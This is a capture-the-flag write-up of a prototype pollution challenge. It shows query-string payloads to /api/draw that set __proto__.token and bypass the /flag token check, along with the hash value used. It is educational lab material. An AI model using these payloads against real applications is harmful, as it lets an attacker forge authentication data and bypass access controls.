Challenge 2: Time To Draw

Ditto
3 min readJan 21, 2021

--

This is my first time looking at a Prototype Pollution Challenge. I guess a recurring theme/lesson is to always go back to basics and start looking at what the user can control.

Source code:

With that lesson in mind, lets start looking at what the user can control. Searching for query in notepad++, below are the results and the variables that we can control.

Variables we can control

Looking deeper into one of them at /api/draw, we see that our variables are passed into canvas.

/api/draw source code

A normal use of this is when the user sends this URL, passing x=1, y=1 & color = red:

http://192.168.106.153:3000/api/draw?x=1&y=1&color=red

which would output this result on the canvas:

The problem arises when the attacker supplies a malicious payload which corrupts the object. Say the attacker sends this URL:

http://192.168.106.153:3000/api/draw?x=__proto&y=token&color=aaaaa

This will transformed into this piece of code:

canva[__proto__][token] = aaaaa

which corrupts the UserData.Token object that is used to verify our identity when we visit the /flag subdomain. The attack is also possible because UserData.Token does not exist if the user is not an admin.

token only set when we enter the branch as admin

Some random testing that might be useful:

Testing Prototype Pollution with source code below
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<h1>This is a Heading</h1>
<p>This is a paragraph.</p>
</body>
</html>
<script>let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};
let userData = { isGuest: true };
</script>

Moving on to the exploit:

  1. we navigate and send token=aaaaa:
http://192.168.106.153:3000/flag?token=aaaaa

At /flag, UserData.token is still undefined.

2. navigate to /api/draw and overwrite UserData.token

http://192.168.106.153:3000/api/draw?x=__proto__&y=token&color=bbbbb

Now back to /flag, UserData.token has been overwriten with what we specified in color!

3. Exploit has already worked!

In order to bypass the checks, we need to generate a 16 character token and append it with our ip address and hashing it. I modified the index.js to do it for me.

modified index.js
highlighted = the hash generated with a token of 16 * ‘a’
http://192.168.106.153:3000/api/draw?x=__proto__&y=token&color=3a3f5db44c2c80b7c693f6b6d3aea621ec0cb8259686094d3232b2dd1b1e3026
Overwritten!
PWN-ED!!

All thanks to Seraphin who shared the source code and his solution. Didnt have the time to look into the challenge. You may refer to his explanation!!

Good to know:

function person(fullName) {
this.fullName = fullName;
}
var person1 = new person(“aaaaaaa”);
person1.__proto__.token = ‘cccc’;
let canvas = {
…Array(128).fill(null).map(() => new Array(128).fill(“#FFFFFF”))
};
let userData = { isGuest: true };
Difference in level between the class person and canvas

Person need two __proto__ to access the base object while canvas only require one!

--

--

No responses yet